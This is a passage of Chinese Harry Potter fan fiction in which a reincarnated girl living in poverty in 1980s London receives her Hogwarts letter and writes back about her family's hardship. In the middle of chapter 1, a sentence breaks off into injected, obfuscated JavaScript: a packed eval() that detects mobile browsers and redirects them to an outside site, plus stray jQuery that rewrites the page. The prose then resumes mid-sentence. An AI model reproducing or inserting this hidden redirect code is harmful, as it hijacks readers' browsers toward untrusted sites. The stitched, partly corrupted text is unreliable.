《霍格沃茨的日常HP》
1. 悲惨的穿越
索菲亚·史密斯(Sophia Smith)蜷缩在阁楼角落那张嘎吱作响的破床垫上,把身上那床薄得像纸、硬得像瓦楞纸板的毯子又往脖子上拽了拽。1989年的伦敦东区,夜晚的寒气像是活物,带着一股潮湿的霉味和隔壁垃圾箱若有若无的酸腐气,从墙壁每一个细小的裂缝里钻进来,钻进骨头缝里。她打了个哆嗦,不是因为这寒冷本身——尽管这具十一岁的身体确实冻得发麻——而是因为这漫长、看不到尽头的贫穷,像铅灰色的浓雾,沉沉地压在这栋摇摇欲坠的排屋里,压在每一个人的肩上。
楼下传来压抑的咳嗽声,一声接一声,沉闷得像破风箱在拉,那是父亲乔治(Ge)。索菲亚闭上眼,脑子里清晰地映出他佝偻的身影,还有那只浑浊发白的右眼。伍尔维奇兵工厂(Woolwich Arsenal)的火药粉尘,日复一日,年复一年,终于吞噬了那只眼睛的光明,只留下一个空洞的标记和一份微薄得可怜的伤残补贴。
紧接着,另一种声音加入了咳嗽的合奏——一种单调、疲惫到骨子里的“哒哒哒哒哒”。那是母亲艾米丽(Emily)的缝纫机,在楼下那张摇摇晃晃的桌子上永不停歇地奔跑。它跑过黎明前的黑暗,跑过午夜的死寂。索菲亚几乎能想象出母亲此刻的样子:背弯得像一张拉满的弓,布满红血丝的眼睛死死盯着针尖下那些廉价布料,手指僵硬地推着布片,指关节因为过度用力而发白变形。那台老机器榨取的不止是布匹,更是母亲的血肉和岁月。
“Sophia! Lily! Get up! School!” 母亲沙哑的声音穿透薄薄的楼板,带着一种不容置疑的疲惫催促。
索菲亚猛地睁开眼,昏暗的光线下,妹妹莉莉(Lily)在她旁边的床垫上蠕动了一下,像只受惊的小兔子,把瘦小的身体蜷缩得更紧。索菲亚叹了口气,撑起沉重的身体。阁楼的低矮屋顶压迫着她,空气中漂浮着灰尘。她摸索着穿上那件领口和袖口都磨得发亮、打了补丁的校服裙子,冰冷的布料贴着皮肤,激起一阵鸡皮疙瘩。她小心地把毯子给莉莉掖好,指尖拂过妹妹粗糙的亚麻色头发。
她扶着嘎吱作响的木梯子走下阁楼。狭窄的客厅兼厨房里,光线同样昏暗。父亲乔治已经坐在那张瘸了腿、用砖头垫着的餐桌旁,面前摆着他那只边缘磕碰得坑坑洼洼的搪瓷杯。浑浊的劣质茶汤冒着微弱的热气。他那张曾经或许也坚毅过的脸,如今被生活的刻刀雕琢得只剩下深刻的皱纹和挥之不去的灰败。那只完好的左眼也失去了神采,只是空洞地望着桌上粗糙的木纹。他咳嗽的间隙,发出沉重的喘息。
“Morning, Dad.” 索菲亚低声说,声音干涩。
乔治抬起头,那只浑浊的眼睛艰难地聚焦在她身上,嘴角似乎想扯出一个笑容,却只牵动了一下紧绷的皮肤。“Morning, Sophia. 睡得好吗” 他的声音像是砂纸在摩擦木头。
“嗯。”索菲亚含糊地应了一声,目光投向灶台边忙碌的母亲。艾米丽正小心翼翼地从那只熏得漆黑的旧锅里舀出一点稀薄的、颜色可疑的麦片粥,分到三个同样坑坑洼洼的锡碗里。锅底几乎空了。母亲的动作迟缓而僵硬,每一次弯腰都让她痛苦地皱一下眉。她瘦得惊人,旧裙子松松垮垮地挂在身上,仿佛一阵风就能吹倒。
哥哥汤姆(Tom)已经在桌边坐下了。这个十五岁的少年有着超出年龄的沉默和早熟。他面前放着一个干硬的、边缘已经发黑的面包头,那是他昨天在面包房后门帮忙卸货时,好心的面包师偷偷塞给他的“酬劳”。他正小口小口地啃着,珍惜每一丝碎屑。他的校服外套袖口短了一截,露出手腕上冻出的红痕。
艾米丽把三个锡碗端上桌。索菲亚低头看着自己碗里那点可怜兮兮、几乎能照见人影的灰褐色糊糊,胃里一阵翻搅,不是饿,而是一种混合着绝望和生理性厌恶的恶心。碗边放着一小片面包,颜色发暗,带着可疑的青色霉点。
莉莉也揉着眼睛下来了,看到食物,小脸立刻垮了下来,带着哭腔:“Mum... bread smells funny again...”(妈妈……面包又闻起来怪怪的了……)
艾米丽疲惫地看了小女儿一眼,伸出手,粗糙的指腹抹掉莉莉脸颊上的一点灰。“Hush now, Lily. Eat what God provides. Be thankful.”(嘘,莉莉。吃上帝赐予的食物。要感恩。)她拿起那片发霉的面包,用小刀仔细地、近乎虔诚地削掉边缘那层明显的霉斑,露出下面相对不那么糟糕的部分,分成四小份,放在每个人面前。削下的霉斑碎屑,她小心地拢在一起,没有扔掉。
索菲亚盯着自己面前那一小条经过处理的、依然散发着陈腐气息的面包,又看了看碗里稀得不能再稀的粥。一股难以言喻的悲愤猛地冲上喉咙。这具身体里属于成年林曼曼的记忆碎片在翻腾——那些热气腾腾、琳琅满目的飞机餐;那些在明亮超市里随心挑选食物的自由……与眼前这令人窒息的贫瘠形成了地狱般的落差。她紧紧攥着冰冷的锡勺,指节发白。一句低低的、压抑不住的不受控制地从齿缝间挤了出来:“为什么……为什么我们这么穷?这日子什么时候是个头啊……”
声音很轻,但在静静的房间里却异常清晰。
空气瞬间凝固了。汤姆猛地抬起头,惊疑不定地看着她。莉莉也忘了哭泣,睁大了眼睛。乔治浑浊的左眼似乎也闪过一丝困惑。艾米丽削面包的手顿住了。她放下小刀,没有立刻责备,也没有解释。她只是转身,走到壁炉旁那个唯一的旧木箱前,小心翼翼地打开盖子,从里面捧出一本厚厚的书——书皮已经磨损得看不出原色,边角卷曲,纸张泛黄发脆。那是这个家里除了锅碗瓢盆之外,最贵重的东西——一本破旧的《圣经》。
艾米丽捧着它,走回餐桌旁,动作带着一种近乎神圣的庄重。她粗糙的手指抚过封面,然后轻轻翻开,纸张发出沙哑的呻吟。她的目光落在某一页上,嘴唇无声地翕动了几下,像是在寻找力量。终于,她抬起头,看向索菲亚。那双布满血丝的眼睛里,没有责备,只有一种深沉的、近乎悲悯的疲惫和一种近乎偏执的平静。
“Sophia, my child,”(索菲亚,我的孩子,)她的声音低沉而稳定,带着一种奇特的安抚力量,却又像沉重的枷锁,“Listen to the Word.”(听主的话。)
她清了清沙哑的嗓子,目光垂落在发黄的纸页上,缓慢而清晰地念诵,每一个音节都像用尽力气凿进这令人窒息的空气里:
“‘God is faithful; he will not let you be tempted beyond what you can bear. But when you are tempted, he will also provide a way out so that you can endure it.’” (“上帝是信实的,必不叫你们受试探过于所能受的。在受试探的时候,总要给你们开一条出路,叫你们能忍受得住。”)
念完,她合上那本沉重得如同命运的书,发出轻微的“啪”一声。她抬起眼,目光直直地看进索菲亚困惑而痛苦的眼睛深处,带着一种不容置疑的坚定。
“忍耐,孩子,”艾米丽的声音忽然切换成了索菲亚灵魂深处最熟悉的语言——中文,虽然带着浓重的伦敦腔,却字字清晰,像钝刀子割在索菲亚的心上,“上帝试炼我们,必不叫我们受试探过于所能受的。祂在看顾,祂有安排。我们…我们只要做好分内的事。”
“分内的事…”索菲亚咀嚼着这几个字,舌尖尝到的是铁锈般的苦涩。这“分内的事”像一条无形的鞭子,抽打着每一个人。放学铃响的余音还在冰冷的空气里震颤,索菲亚和莉莉小小的身影已经汇入东区灰蒙蒙的街道人流。索菲亚背着那个破旧的帆布书包,里面教科书轻飘飘的,像她此刻空荡荡的胃。她的目的地是两条街外的那家“老派克杂货铺”。店门上的铃铛发出刺耳的“叮当”声,迎接她的是老派克先生那张永远刻薄、布满皱纹的脸。他嘴里叼着一根熄灭的烟斗,上下打量着她。
“来了?手脚麻利点,史密斯家的丫头。今天的报纸捆好了,架子擦干净。别想偷懒,我盯着你呢!”他浑浊的眼睛里没有一丝温度。
“Yes, Mr. Pike.”(好的,派克先生。)索菲亚低眉顺眼地回答,声音细得像蚊子哼哼。中文的呐喊在喉咙里翻滚,最终被咽下。她放下书包,挽起那件过于宽大的旧外套袖子,露出细瘦的手腕。冰冷的水桶,油腻的抹布,散发着油墨和灰尘混合气味的沉重报纸捆……她小小的身体立刻淹没在机械而繁重的劳动中。手指很快在冷水和粗糙的纸面上冻得通红、开裂。腰背酸痛得像要断掉。每次弯下腰去擦那肮脏的货架底部,她都感觉自己像一张被强行弯折的弓,随时可能“啪”地一声断裂。
透过布满灰尘的橱窗玻璃,她能看到街对面面包房的后巷。汤姆的身影在那里晃动。他正和一个魁梧的面包房帮工一起,吭哧吭哧地把一袋袋沉重的面粉从送货车上卸下来,扛进后门。面粉的白色粉尘扑满他单薄的肩膀和头发,使他看起来像一个苍老的小鬼。每一次弯腰扛起面粉袋,他瘦弱的脊梁都绷得笔直,仿佛用尽了全身的力气在对抗那不堪承受的重量。
而更小的莉莉,像只勤快又胆怯的小鼹鼠,在附近几条稍微“体面”一点的街道上游荡。她挎着一个几乎和她一样大的破布口袋,眼睛像探照灯一样扫视着人行道的缝隙、商店后门旁的垃圾箱边缘。她在搜寻任何一点可以燃烧的东西:一小块被丢弃的木片、一个踩扁的纸盒子、甚至几块还算干燥的煤核……这些微不足道的“燃料”,是她们家那点可怜的“额外”热量来源。寒冷让她的小脸冻得发青,手指也冻得像胡萝卜。
夜幕像一块巨大的、浸透了墨汁的破布,沉重地覆盖下来,吞噬了伦敦东区最后一丝天光。索菲亚拖着灌了铅似的双腿,每一步都像踩在棉花上,又酸又软。寒气像无数根冰冷的针,穿透她单薄的衣衫,刺进骨头缝里。老派克杂货铺那点微薄的工钱——几个冰冷的便士——在她口袋里沉甸甸的,又轻飘飘的,这点钱买不到希望,只够买回一点维持生存的必需品。
推开家门,一股熟悉的、混杂着劣质油脂味、尘土味和淡淡霉味的暖流扑面而来。这暖意如此微弱,却已是她们在这个冰冷世界里唯一的堡垒。昏暗的煤气灯光下,父亲乔治(Ge)像一尊被岁月侵蚀的石雕,沉默地坐在壁炉旁那把唯一的破扶手椅里。壁炉里只有几块小小的木柴和莉莉捡回来的煤核在苟延残喘地燃烧,吝啬地吐着一点点微弱的、橘红色的光,根本驱不散屋里的寒意。炉火映照着他沟壑纵横的脸,那只空洞的右眼在阴影里显得更加可怖,完好的左眼也失去了焦点,只是茫然地望着那点可怜的火焰。他粗糙的大手无意识地揉搓着膝盖,那里大概又在隐隐作痛。
母亲艾米丽(Emily)佝偻着腰,像一张随时会折断的弓,还在那张摇晃的缝纫机前奋战。哒哒哒哒哒……针尖撞击布料的声音在寂静的屋子里显得格外刺耳、单调、永无止境。她的脸色在昏黄的灯光下蜡黄得像旧羊皮纸,眼下的乌青浓得化不开。桌上,三只锡碗已经摆好,里面盛着颜色更深的“汤”——几片煮得稀烂的廉价菜叶漂浮在浑浊的、几乎没有油星的汤水上,旁边放着一小撮昨天剩下的、干硬得如同木屑的黑面包碎屑。
“Sophia, wash up. Supper’s ready.”(索菲亚,洗手。晚饭好了。)艾米丽头也没抬,声音沙哑得像砂纸摩擦。缝纫机的哒哒声没有停顿。
索菲亚默默地放下书包,走到角落那个裂了缝的搪瓷水盆前。冰冷的水刺得她开裂的手指一阵钻心的疼。她咬着嘴唇,没让自己哼出声。洗完手,她坐到餐桌旁属于她的位置。莉莉也挨着她坐下,小脸冻得红扑扑的,大眼睛盯着碗里那点可怜的“食物”,带着一种认命般的安静。汤姆坐在对面,他沉默地拿起勺子,舀起一点几乎没有内容的汤水,吹了吹,喝了下去。他的喉结艰难地滚动了一下。
屋子里只剩下缝纫机单调的哒哒声、壁炉里木柴偶尔爆裂的噼啪声,以及父亲压抑在喉咙深处、闷雷般的咳嗽声。空气沉重得如同凝固的铅块,压得人喘不过气。贫穷像一层厚厚的、无形的油垢,糊在每一个人的皮肤上,渗透进每一次呼吸里。索菲亚拿起勺子,搅动着碗里寡淡的汤水,看着那几片蔫黄的菜叶在浑浊的汤里沉浮。一种巨大的、令人窒息的绝望感,像冰冷的潮水,再一次从脚底漫上来,淹没了她。前世的富足安稳,此刻像一个残酷而遥远的梦境。她甚至能闻到自己头发上残留的杂货铺灰尘和老派克先生烟斗的臭味。
“妈……”索菲亚的声音干涩,带着一丝自己都没察觉的颤抖,“我们……我们还要这样多久?”她用的是英文,声音很轻,几乎被缝纫机的噪音淹没。
艾米丽的手终于停了下来。哒哒声戛然而止,这突如其来的安静让屋子里其他细微的声音——乔治的咳嗽、炉火的噼啪——被瞬间放大。她慢慢转过身。昏黄的灯光勾勒出她瘦削得可怕的侧影。她没有立刻回答索菲亚的问题,那双疲惫至极的眼睛,缓缓地扫过这个破败不堪的家:漏风的窗户用破布和旧报纸塞着,墙壁上大片大片剥落的墙纸和霉斑,吱呀作响的地板,壁炉里那点可怜的火光……最后,她的目光落在了丈夫乔治佝偻的背影上,停留了很久。那目光里有痛楚,有怜悯,还有一种近乎麻木的坚忍。
然后,她转向索菲亚。脸上没有怒容,只有一种深不见底的疲惫和一种令人心悸的平静。
“He gives, and He takes away.”(他赐予,他也收取。)艾米丽的声音低沉而稳定,像在陈述一个亘古不变的真理,“Blessed be the name of the Lord.”(愿主的名得称颂。)
她顿了顿,目光落在索菲亚脸上,那里面似乎有一瞬间闪过极其复杂的东西,快得让人抓不住,随即又恢复了那潭深水般的平静。“We do what we can. One day at a time. That’s all.”(我们尽力而为。一天一天地过。就这样。)
索菲亚张了张嘴,喉咙里像堵了一团浸透水的棉花。她想尖叫,想控诉,想质问那个虚无缥缈的“主”到底在哪里?为什么要把这样的重担压在一群只想活下去的人身上?为什么连一片干净的面包都是奢望?中文的咒骂在她灵魂深处无声地沸腾、翻滚。
然而,最终,她只是深深地吸了一口气,那冰冷的、带着霉味的空气刺痛了她的肺。她低下头,沉默地拿起勺子,舀起一勺几乎透明的汤,送进嘴里。冰冷,寡淡,带着菜叶腐烂边缘特有的微苦。她机械地咀嚼着,强迫自己咽下去。眼眶热得发烫,但她死死咬住嘴唇内侧,没有让一滴眼泪掉下来。忍耐,妈妈说了,要忍耐。上帝试炼我们……她麻木地重复着这句空洞的箴言,像在咀嚼一块毫无滋味的蜡。
---
时间在饥饿、寒冷和无休止的劳作中,像跛脚的蜗牛,缓慢而沉重地爬行。1989年的深秋,伦敦的雨下得格外早,也格外凶。索菲亚十一岁生日的那天傍晚,天空仿佛被撕裂了一个巨大的口子,冰冷的雨水疯狂地倾泻而下,密集的雨点砸在屋顶的破瓦片上,发出震耳欲聋的轰鸣,如同成千上万的鼓槌在敲打。狂风在狭窄的街道间呼啸穿行,发出鬼哭狼嚎般的尖啸,猛烈地摇晃着排屋脆弱的门窗。阁楼顶上那处用油毡和旧铁皮勉强糊住的破洞,再次宣告失守,冰冷的雨水混合着灰黑色的泥浆,滴滴答答、继而变成小股水流,顽固地渗漏下来,在阁楼地板上汇成一摊肮脏的水洼。
“该死!”索菲亚低声咒骂了一句中文,手忙脚乱地把她和莉莉那两张薄得可怜的床垫拖到漏雨区域之外。冰冷的水滴还是溅到了她的脸上、脖子上,刺骨的寒意让她牙齿都在打颤。楼下客厅里,那点微弱的壁炉火苗在狂风灌入的缝隙中瑟瑟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928771|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发抖,光线明灭不定,更显得整个屋子如同汪洋中的一艘破船,随时会被这狂暴的雨夜吞噬。
晚餐依旧是那令人绝望的熟悉配方:发霉面包的气味顽固地钻入鼻孔,即使削掉了最明显的青斑,那股陈腐的味道依然萦绕不散;汤碗里,几片煮烂的土豆皮在几乎透明的汤水里载沉载浮,看不到一丝油星。一家五口围坐在瘸腿的餐桌旁,在呼啸的风雨声中沉默地吞咽着这“生日宴”。艾米丽破例没有在餐前拿出那本破旧的圣经念诵,只是低着头,用勺子缓慢地搅动着自己碗里那点可怜的汤水。乔治的咳嗽声在风雨的间隙里显得更加空洞和无力。汤姆沉默地嚼着面包,眉头紧锁。莉莉缩在索菲亚身边,小小的身体微微发抖,不知道是因为冷还是因为害怕这狂暴的天气。
“砰!”
一声沉闷而突兀的巨响,猛地砸碎了屋内的死寂!紧接着是玻璃碎裂的刺耳声音!
“Oh Lord! What was that?”(哦,上帝啊!那是什么?)艾米丽惊得差点跳起来,手里的勺子“哐当”一声掉在桌上,浑浊的汤水溅了出来。她惊恐地捂住嘴,脸色瞬间惨白如纸,第一个念头是:“Demon! It must be a demon in this storm!”(恶魔!这暴风雨里的一定是恶魔!)她几乎是本能地伸手去摸索放在旁边椅子上的那本《圣经》,手指颤抖得厉害。
“窗户!”汤姆反应最快,他猛地站起身,椅子腿在凹凸不平的地板上刮出刺耳的噪音。他抄起手边一根用来顶门的旧木棍,一个箭步冲向声音传来的方向——那扇对着后巷、用厚帆布和层层旧报纸勉强糊住缝隙的破窗户。
索菲亚的心也提到了嗓子眼,下意识地把莉莉往身后拉了拉。是醉汉?还是暴风雨刮倒了什么东西砸进来了?
汤姆紧张地用木棍小心地挑开那被撞得稀烂、糊在窗洞上的帆布和报纸。狂风裹挟着冰冷的雨水立刻倒灌进来,吹得他一个趔趄。借着壁炉微弱摇曳的火光,他和凑过来的索菲亚同时看清了闯入者。
不是什么恶魔,也不是醉汉。
一只浑身湿透、羽毛凌乱不堪、显得异常狼狈的大猫头鹰,正晕头转向地跌在冰冷肮脏的地板上,翅膀还在神经质地扑腾着,溅起地上的泥水。在它旁边,一个厚实的、方方正正的淡黄色信封静静地躺在那里。信封的材质看起来非同寻常,像是某种坚韧的羊皮纸,即使在昏暗的光线下也隐隐散发着柔和的微光。信封上用一种华丽流畅的翠绿色墨水书写着地址,那字迹仿佛拥有生命:
**Miss Sophia Smith**
**The Smallest Bedroom (under the leaky roof)**
**17 Crumb Lane**
**London**
**索菲亚·史密斯小姐**
**最小的卧室(在漏水的屋顶下)**
**克拉姆巷17号**
**伦敦**
索菲亚的目光死死钉在那个名字上——Sophia Smith。她的名字。一股冰冷的战栗瞬间从脚底窜上头顶,让她全身的血液都似乎凝固了一瞬。猫头鹰?羊皮纸信封?这种离奇而突兀的投递方式……一个荒谬绝伦却又在灵魂深处激起惊涛骇浪的念头,如同划破漆黑夜空的闪电,猛地劈开了她脑海中尘封已久的记忆!
飞机剧烈的颠簸!刺耳的警报尖叫!乘客绝望的哭喊!舷窗外翻滚的云层和无尽的下坠感!林曼曼!她是林曼曼!2025年那场空难……然后是无尽的黑暗……再醒来,就成了1978年伦敦贫民窟里这个啼哭的婴儿索菲亚·史密斯!穿越!魔法世界!哈利波特!霍格沃茨!
“It… it’s for me?”(这……这是给我的?)索菲亚的声音干涩得厉害,带着难以置信的颤抖。她甚至没意识到自己用的是英文。她向前挪了一步,冰冷的雨水打湿了她的裤脚也浑然不觉。
汤姆比她更快一步,他蹲下身,用木棍小心翼翼地拨开那只还在扑腾的湿漉漉的猫头鹰,谨慎地捡起了那个信封。入手的感觉沉重而厚实,带着奇特的韧性。壁炉跳跃的火光照亮了信封的背面。那里,一块蜡封赫然在目!蜡的颜色是深紫红色,上面压印着一个无比清晰的盾形纹章:一只威风凛凛的狮子,一只昂首的鹰,一只獾,还有一条盘踞的蛇,共同环绕着一个大写的字母“H”。
“What… what is this?”(这……这是什么?)汤姆的声音也充满了困惑和惊疑。他从未见过如此古怪又透着不凡的信件。那蜡封上的动物栩栩如生,透着神秘的力量感。
艾米丽也凑了过来,脸上惊魂未定,但当她的目光触及那个盾形蜡封时,一种更深的不安取代了恐惧。她紧张地抓紧了胸前的十字架吊坠。“Strange mark… Not of this world… Sophia, be careful!”(奇怪的标记……不属于这个世界……索菲亚,小心!)
索菲亚深吸了一口气,压下胸腔里那颗狂跳得几乎要炸开的心脏。她伸出手,指尖有些发颤,但还是坚定地从汤姆手中接过了那个沉甸甸的信封。羊皮纸的触感温润而奇特,带着一种难以言喻的韧性。她小心翼翼地翻转信封,用指甲刮掉那坚硬的深紫红色蜡封。蜡封碎裂,露出里面折叠整齐的、同样材质的羊皮纸信笺。
她颤抖着手指,展开了信纸。华丽流畅的翠绿色墨水书写的字迹跃入眼帘:
**HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY**
(霍格沃茨魔法学校)
**Headmaster: Albus Dumbledore**
(校长:阿不思·邓布利多)
**(Order of Merlin, First Class, Grand Sorc., Chf. Warlock, Supreme Mugwump, International Confed. of Wizards)**
(梅林爵士团一级勋章获得者大巫师巫师联合会会长国际魔法师联合会主席)
**Dear Miss Smith,**
(亲爱的史密斯小姐:)
**We are pleased to inform you that you have been accepted at Hogwarts School of Witchcraft and Wizardry…**
(我们愉快地通知您,您已获准在霍格沃茨魔法学校就读……)
信纸从索菲亚冰凉的指尖滑落,轻飘飘地,却像一块巨石,砸在了冰冷潮湿、布满泥浆的地板上,正好落在那块被削掉霉斑、依旧散发着寒酸气味的黑面包旁边。
壁炉里最后一点微弱的火苗挣扎了几下,终于彻底熄灭了。小小的客厅瞬间被浓重的黑暗吞没,只有窗外狂暴的闪电偶尔撕裂夜幕,投下转瞬即逝的惨白光芒,照亮了索菲亚惨白的脸,照亮了汤姆惊愕瞪大的眼睛,照亮了艾米丽死死攥着十字架、指节发白的手,也照亮了地上那封来自另一个世界的入学通知,和旁边那块象征着这个家庭所有苦难的发霉面包。
绝对的死寂笼罩了狭小的空间,只剩下窗外风雨凄厉的咆哮,仿佛整个世界都在为这荒诞离奇的交汇而怒吼。黑暗中,索菲亚的声音如同梦呓,带着一种巨大的茫然和尖锐的讽刺,刺破了令人窒息的沉默,在冰冷的空气中颤抖着回荡:
“霍格沃茨…魔法学校?学费…金加隆?” 她慢慢蹲下身,手指拂过羊皮纸上那些华丽充满诱惑力的字句,又触碰到地上那块坚硬、发霉的黑面包,声音陡然拔高,充满了灵魂深处林曼曼的崩溃与荒谬感,“开什么玩笑!这家人…这家人连明天的面包钱在哪里都不知道!哪来的金子交学费?!金子?!”
2. 第 2 章
索菲亚颤抖的手指几乎握不住那封沉甸甸的羊皮纸信。壁炉的火光彻底熄灭,黑暗如同粘稠的墨汁般包裹着这间陋室,只有窗外惨白的闪电一次次撕开夜幕,短暂地照亮信纸上那行仿佛燃烧着魔力的翠绿色字迹:
**HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY**
(霍格沃茨魔法学校)
**Headmaster: Albus Dumbledore**
(校长:阿不思·邓布利多)
**(Order of Merlin, First Class, Grand Sorc., Chf. Warlock, Supreme Mugwump, International Confed. of Wizards)**
(梅林爵士团一级勋章获得者大巫师巫师联合会会长国际魔法师联合会主席)
**Dear Miss Smith,**
(亲爱的史密斯小姐:)
**We are pleased to inform you that you have been accepted at Hogwarts School of Witchcraft and Wizardry. Please find enclosed a list of all necessary books and equipment.**
(我们愉快地通知您,您已获准在霍格沃茨魔法学校就读。随信附上所需书籍及装备一览表。)
**Term begins on 1 September. We await your owl by no later than 31 July.**
(学期定于九月一日开始。我们将于七月三十一日前静候您的猫头鹰带来您的回信。)
**Yours sincerely,**
(您忠诚的,)
**Minerva McGonagall**
(米勒娃·麦格)
**Deputy Headmistress**
(副校长)
信纸无声地飘落在地板上,落在发霉的面包屑旁边,像一个来自异世界的嘲讽。
“Sophia? What… what does it say?”(索菲亚?那……那上面说什么?)汤姆的声音在黑暗中响起,带着难以置信的惊疑。他摸索着,试图捡起那张奇异的羊皮纸。
“Witchcraft?”(巫术?)艾米丽的声音陡然拔高,尖锐得刺破了风雨声,带着一种被亵渎的惊恐,“Witchcraft and Wizardry? Sophia! That… that’s of the Devil! Burn it! Burn it now!”(巫术和魔法?索菲亚!那……那是魔鬼的东西!烧掉它!现在就烧掉它!)她扑过来,胸前紧握的十字架在闪电光下反射着冰冷的光泽,手指因为恐惧和愤怒而剧烈颤抖。
“No, Mum! Wait!”(不,妈妈!等等!)索菲亚猛地扑倒在地,用自己的身体护住了那封信和旁边那只被撞得晕晕乎乎、还在扑腾翅膀的湿漉漉猫头鹰。冰冷的泥水浸透了她的衣服,她却浑然不觉。前世林曼曼的记忆碎片和此刻索菲亚·史密斯的绝望在她脑中激烈碰撞。“It’s… it’s real! I know it! It has to be!”(这是……这是真的!我知道!一定是真的!)她几乎是吼出来的,声音带着哭腔和一种孤注一掷的疯狂,“It’s a way out! Maybe… maybe the only way out!”(这是一条出路!也许是……也许是唯一的出路!)
“Out? Out to where? Hellfire?”(出路?出到哪里去?地狱之火吗?)艾米丽的语气充满了宗教审判般的严厉,但索菲亚在她眼中也捕捉到了一闪而过的、更深层次的恐惧——对未知的恐惧,对女儿可能被“邪恶力量”带走的恐惧。
乔治沉闷的咳嗽声在角落响起,带着一种令人窒息的无力感。莉莉吓得小声啜泣起来。
索菲亚挣扎着坐起身,紧紧抱着那只瑟瑟发抖、羽毛湿透的猫头鹰,也抱着那封羊皮纸信。她看着黑暗中母亲模糊却轮廓紧绷的身影,看着哥哥汤姆惊疑不定的脸,看着角落里父亲佝偻的阴影,看着哭泣的妹妹。贫穷、绝望、宗教的枷锁……这一切像沉重的镣铐。但这封信,这只笨拙的猫头鹰,代表着另一个世界,一个充满未知却也蕴含着可能性的世界。她必须抓住它!哪怕只是为了逃离这无休止的、令人窒息的贫困!
“Please… please trust me just this once, Mum.”(求求你……就这一次,相信我,妈妈。)索菲亚的声音低了下来,带着一种近乎哀求的哽咽,“I… I need to reply. I need to tell them… tell them the situation of our family.”(我……我必须回复。我必须告诉他们……告诉他们我们家的情况。)
艾米丽僵硬地站在那里,胸膛剧烈起伏。壁炉冰冷的灰烬散发着绝望的气息。屋外,风雨依旧在咆哮。
最终,艾米丽没有上前抢夺。她只是慢慢地、慢慢地后退,跌坐在那张吱呀作响的旧椅子上,双手捂住了脸,肩膀微微耸动。无声的啜泣,比任何责骂都更沉重。
借着下一次闪电的惨白光芒,索菲亚看到了信封里滑落出来的另一张羊皮纸——那是所需物品清单。龙皮手套?坩埚?魔杖?天文望远镜?每一件物品的名字都像一记重锤砸在她心上。金子!需要金子!
她深吸一口气,冰冷的空气刺痛肺腑。她轻轻放下那只可怜的猫头鹰(它似乎稍微恢复了些),摸索着找到她那个破旧的帆布书包,从里面翻出半截铅笔头和一张皱巴巴、边缘毛糙的廉价包装纸——那是她在杂货铺用来练习写字的废纸。她跪在冰冷潮湿的地板上,将包装纸摊平在膝盖上,借着窗外断续的闪电光,用尽全身力气,一笔一划地、笨拙却清晰地书写起来:
**To Deputy Headmistress Minerva McGonagall,**
(致副校长米勒娃·麦格教授:)
**Thank you for the letter. I am Sophia Smith.**
(谢谢您的来信。我是索菲亚·史密斯。)
**My family… we are very poor. My father has only one eye from factory. My mother sews all day, back hurts. We live in a bad house, roof leaks. We eat old bread, sometimes with mold. We have no gold. None.**
(我的家庭……我们非常贫穷。我父亲在工厂失去了一只眼睛。我母亲整天缝纫,背很痛。我们住在一个很差的房子里,屋顶漏水。我们吃发霉的旧面包。我们没有金子。一点都没有。)
**We know nothing about magic. My mother and father, my brother Tom (15), my sister Lily (7), and me. We go to church. My mother is scared of witchcraft. She thinks it is from the Devil.**
(我们都是麻瓜。我的父母,我的哥哥汤姆(15岁),我的妹妹莉莉(7岁),还有我。我们去教堂。我妈妈害怕巫术。她认为那是来自魔鬼的。)
**I do not know what to do. The list… things cost gold. My family has no money for bread tomorrow. How can I pay for magic things?**
(我不知道该怎么办。清单上的东西……都要金子。我的家人明天连买面包的钱都没有。我怎么能支付魔法物品的钱?)
**Please tell me.**
(请告诉我。)
**Sophia Smith**
(索菲亚·史密斯)
**17 Crumb Lane, London**
(伦敦,克伦姆巷17号)
她写得很慢,很用力,铅笔尖几次划破了薄薄的包装纸。写完后,她小心地将这封潦草、沾着泥点和泪痕的信折叠好。她看向那只瘫在地上、羽毛凌乱的猫头鹰,它的一只翅膀似乎有些不自然地耷拉着。
“I’m sorry,”(对不起,)索菲亚低语,用中文又说了一遍,“委屈你了。”她小心翼翼地将折叠好的信纸卷成一个小筒,尝试着用一根细线(从地上捡起的缝纫线头)绑在猫头鹰那只看起来还算完好的脚上。猫头鹰发出一声微弱的“咕咕”声,似乎很不舒服。
“Go,”(去吧,)索菲亚将它轻轻捧到那扇被撞破的窗户边,冰冷的雨水立刻打湿了她的手臂,“Take it back. Please.”(带它回去。拜托了。)
猫头鹰歪着头,用圆溜溜的、在黑暗中发着幽光的眼睛看了她片刻,似乎在评估这个浑身湿透、处境悲惨的女孩。然后,它发出一声更响亮的“咕咕”,奋力拍打着那只完好的翅膀,挣扎着,摇摇晃晃地冲入了外面狂暴的雨幕和黑暗之中,瞬间被狂风吞噬,消失不见。
索菲亚无力地靠在冰冷的、湿漉漉的窗框上,望着外面无边无际的黑暗和倾盆大雨。希望,如同那只猫头鹰一般渺小而脆弱,随时可能被这残酷的现实风暴撕碎。她不知道这封信是否能到达,更不知道会得到怎样的回应。贫穷的枷锁和宗教的阴影,像两座沉重的大山,压得她几乎喘不过气。
---
接下来的几天,17号克伦姆巷的气氛压抑到了极点。艾米丽变得更加沉默寡言,眼神里充满了复杂的痛苦和恐惧。她不再主动提起那封“魔鬼的信”,但每当索菲亚试图靠近或说话,她都会像受惊的兔子般避开。乔治的咳嗽似乎更频繁了。汤姆看着索菲亚的眼神充满了困惑和一丝不易察觉的担忧。只有莉莉,懵懂无知,偶尔会怯生生地问:“Sophia, the big bird… will ite back?”(索菲亚,那只大鸟……还会回来吗?)
索菲亚依旧每天去杂货铺打工,去上学,但魂不守舍。老派克先生的刻薄斥责仿佛隔着一层厚厚的玻璃传来。她的心悬在半空,每一次阁楼或窗户的异响都让她心惊肉跳,既期待又恐惧那只猫头鹰的再次出现。
